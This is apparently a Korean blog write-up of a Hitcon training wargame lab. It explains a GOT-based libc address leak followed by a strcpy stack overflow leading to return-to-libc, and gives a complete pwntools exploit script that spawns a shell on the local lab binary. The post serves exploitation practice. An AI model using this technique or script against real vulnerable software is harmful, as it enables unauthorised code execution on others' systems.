728x90
1. 문제
1) mitigation 확인
![](https://user-images.githubusercontent.com/35132299/79130506-08af2b80-7de2-11ea-89d5-2c4f2b7db74c.png)
NX 비트말곤 안걸려있다
2) 문제 확인
![](https://user-images.githubusercontent.com/35132299/79130496-064cd180-7de2-11ea-8e47-f3db61df868d.png)
바이너리를 실행시키면 RTL아냐고 물어본다. 그리고 메모리에서 뭘 보고 싶냐고 물은뒤 알고 싶은 주소를 입력하라고 한다(십진수로). 아무숫자나 입력하면 폴트가 뜬다
3) 코드흐름 파악
![](https://user-images.githubusercontent.com/35132299/79130499-077dfe80-7de2-11ea-9aa6-a67f2f5ee6d0.png)
15라인에서 read로 buf에다가 문자열을 입력하고, strtol 함수로 long 타입으로 변환한 값이 v8에 들어간다. 그리고 See_something함수가 호출된다.
![](https://user-images.githubusercontent.com/35132299/79130501-08169500-7de2-11ea-9db9-15f4922b1fd2.png)
See_something 함수를 보면 아까 변환된 v8 변수에 들어있는 값을 출력해준다
그리고 한번더 read로 0x100 만큼 입력받은뒤, Print_message 함수가 호출된다
![](https://user-images.githubusercontent.com/35132299/79130503-08169500-7de2-11ea-8209-678a7ec0b393.png)
위에서 입력한 값을 dest 변수에 strcpy로 복사한다. 그리고 복사된 내용을 출력한다
2. 접근방법
우선 No PIE 이기 떄문에 처음에 printf의 got 주소를 10진수로 변환하여 입력하면 printf_ libc 주소를 알수 있을 것이다. 또한 strcpy를 이용하여 bof를 일으켜 RTL을 조지면 될 것이다
시나리오
- printf_got 값을 10진수로 바꿔서 입력해서 printf_leak
- leak된 주소를 이용하여 libc_base 주소, system 함수 주소, /bin/sh 문자열이 위치한 주소를 얻기
- RTL 진행
3. 풀이
최종 익스코드는 다음과 같다
from pwn import *
context(os="linux",arch="i386",log_level="DEBUG")
p=process("./ret2lib")
p.sendlineafter("(in dec) :","134520848")
p.recvuntil("address : ")
printf_adr=int(p.recv(10),16)
libc_base=printf_adr-0x049670
bin_sh=libc_base+0x15ba0b
system=libc_base+0x03ada0
p.recvuntil("me :")
payload="A"*0x38+"B"*4+p32(system)+"C"*4+p32(bin_sh)+"\x00"
p.sendline(payload)
p.interactive()
4. 몰랐던 개념
- none
728x90
'워게임 > Hitcon training' 카테고리의 다른 글
[Hicon training] LAB 6 (0) | 2020.04.14 |
---|---|
[Hicon training] LAB 5 (0) | 2020.04.14 |
[Hicon training] LAB 3 (0) | 2020.04.13 |
[Hicon training] LAB 2 (0) | 2020.04.13 |
[Hicon training] LAB 1 (0) | 2020.04.13 |